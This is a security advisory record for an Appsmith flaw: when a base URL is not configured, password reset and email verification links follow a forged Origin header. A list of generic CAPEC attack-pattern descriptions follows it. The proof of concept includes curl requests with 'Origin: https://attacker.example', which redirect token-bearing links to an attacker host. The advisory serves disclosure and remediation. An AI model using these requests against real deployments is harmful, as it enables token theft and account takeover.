"details": "### Summary\nA configuration-dependent origin validation bypass was identified in Appsmith\u2019s password reset and email verification flows on current `release`.\n\nBoth flows derive the email-link base URL from the request `Origin` header. The current validation only enforces a trusted base URL when `APPSMITH_BASE_URL` is configured. If that setting is unset, the application accepts the caller-supplied origin and uses it to generate token-bearing reset and verification links.\n\nOn deployments with email delivery enabled and `APPSMITH_BASE_URL` unset, this can cause Appsmith to send security-sensitive links whose clickable host is attacker-controlled, which can plausibly lead to account takeover after victim interaction.\n\n### Details\nThe current `release` head at commit `e77639eca4974469c1e676904851ffdaedd38111` was reviewed.\n\nThe relevant routes are publicly reachable in `SecurityConfig.java`:\n\n- `POST /forgotPassword` is permitted without authentication at line `209`\n- `POST /resendEmailVerification` is permitted without authentication at line `228`\n\nIn `UserControllerCE.java`, both flows copy the request `Origin` header into the DTO field used as the email-link base URL:\n\n- `forgotPasswordRequest(...)` at lines `91-94`\n- `resendEmailVerification(...)` at lines `189-193`\n\nIn `UserServiceCEImpl.java`, base URL validation is conditional:\n\n- `@Value(\"${APPSMITH_BASE_URL:}\")` at line `113`\n- `resolveSecureBaseUrl(...)` at lines `132-145`\n\nThat method explicitly documents and implements this behavior:\n\n- if `APPSMITH_BASE_URL` is configured, the provided URL must match it\n- if `APPSMITH_BASE_URL` is unset, the provided URL is accepted for backward compatibility\n\nThe resulting base URL is then used to construct token-bearing links:\n\n- `FORGOT_PASSWORD_CLIENT_URL_FORMAT` at line `149`\n- reset URL generation at lines `282-289`\n- `EMAIL_VERIFICATION_CLIENT_URL_FORMAT` at line `152`\n- verification URL generation at lines `931-940`\n\nThis means the base URL is not only used for branding or display purposes. It directly controls the clickable host of security-sensitive reset and verification links.\n\nNote that the admin UI describes APPSMITH_BASE_URL as required for password reset and email verification links in:\n\n- `app/client/src/ce/pages/AdminSettings/config/configuration.tsx` at lines `41-49`\n\nThe reviewed self-host material indicates this protection is not fail-closed by default, which makes the vulnerable condition realistic on existing deployments where operators have not set `APPSMITH_BASE_URL`.\n\n\n### PoC\nThese steps were designed for validation on an Appsmith deployment that I own or am explicitly authorized to test.\n\n1. Deploy a non-production Appsmith instance from current `release`, or any build containing the affected code.\n2. Enable outbound email delivery.\n3. Leave `APPSMITH_BASE_URL` unset or blank.\n4. Use a test mailbox account you control, for example `victim@example.test`.\n5. Send a password reset request with a forged `Origin` header:\n\n```bash\ncurl -i -X POST \u0027https://YOUR-INSTANCE/api/v1/users/forgotPassword\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Origin: https://attacker.example\u0027 \\\n --data \u0027{\"email\":\"victim@example.test\"}\u0027\n```\n\n6. Inspect the delivered email. If affected, the clickable reset link is generated under `https://attacker.example/...` instead of the legitimate Appsmith host.\n7. Repeat the same validation for resend email verification using an unverified test account:\n```bash\ncurl -i -X POST \u0027https://YOUR-INSTANCE/api/v1/users/resendEmailVerification\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Origin: https://attacker.example\u0027 \\\n --data \u0027{\"email\":\"victim@example.test\"}\u0027\n```\n\n8. Inspect the delivered verification email. If affected, the clickable verification link is generated under `https://attacker.example/....`\n9. Set `APPSMITH_BASE_URL=https://YOUR-INSTANCE`, restart the server, and repeat the same requests.\n10. The expected secure behavior is that mismatched `Origin` is rejected, or the generated links no longer follow the forged request header.\n\nLive tokens, third-party data, or unsafe exploitation material was not included in this report. The attached archive contains source excerpts, data-flow proof, safe validation notes, and supporting evidence collected from the reviewed current branch.\n\n### Impact\nThis is a trust-boundary failure in token-bearing email authentication flows.\n\nAffected deployments are those where:\n\n- `APPSMITH_BASE_URL` is unset or blank\n- outbound email is enabled\n- password reset and/or email verification flows are enabled\n\nAttacker requirements are low:\n\n- no prior authentication is required to reach the relevant endpoints\n- the attacker only needs to trigger an email flow toward a target account\n\nSecurity impact:\n\n- Appsmith can generate password reset or verification emails whose clickable host is attacker-controlled\n- victim interaction can expose security-sensitive token material\n- this can plausibly result in account takeover\n- at minimum, it enables trusted-email abuse and phishing through the application itself\n \n### mitigation\n1. Remove the fallback behavior in `resolveSecureBaseUrl(...)` that accepts caller-supplied origin data when `APPSMITH_BASE_URL` is unset.\n2. Fail closed for all token-bearing email flows when no trusted base URL is configured.\n3. Use a single trusted-base-url helper across:\n - password reset\n - resend email verification\n - invite flows\n - instance admin invite flows\n4. Add regression tests for the unset-configuration case.\n5. Add startup or admin-level validation so security-sensitive email flows cannot operate until a trusted base URL is configured.\n\n### Attachment\n[appsmith-email-link-origin-validation-bypass-20260321.zip](https://github.com/user-attachments/files/26153718/appsmith-email-link-origin-validation-bypass-20260321.zip)",
"id": "GHSA-j9gf-vw2f-9hrw",
"modified": "2026-06-12T18:28:52Z",
"published": "2026-06-12T18:28:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-j9gf-vw2f-9hrw"
},
{
"type": "PACKAGE",
"url": "https://github.com/appsmithorg/appsmith"
},
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/releases/tag/v2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Appsmith: Configuration-dependent origin validation bypass in password reset and email verification link generation"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-160: Exploit Script-Based APIs
Some APIs support scripting instructions as arguments. Methods that take scripted instructions (or references to scripted instructions) can be very flexible and powerful. However, if an attacker can specify the script that serves as input to these methods they can gain access to a great deal of functionality. For example, HTML pages support <script> tags that allow scripting languages to be embedded in the page and then interpreted by the receiving web browser. If the content provider is malicious, these scripts can compromise the client application. Some applications may even execute the scripts under their own identity (rather than the identity of the user providing the script) which can allow attackers to perform activities that would otherwise be denied to them.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.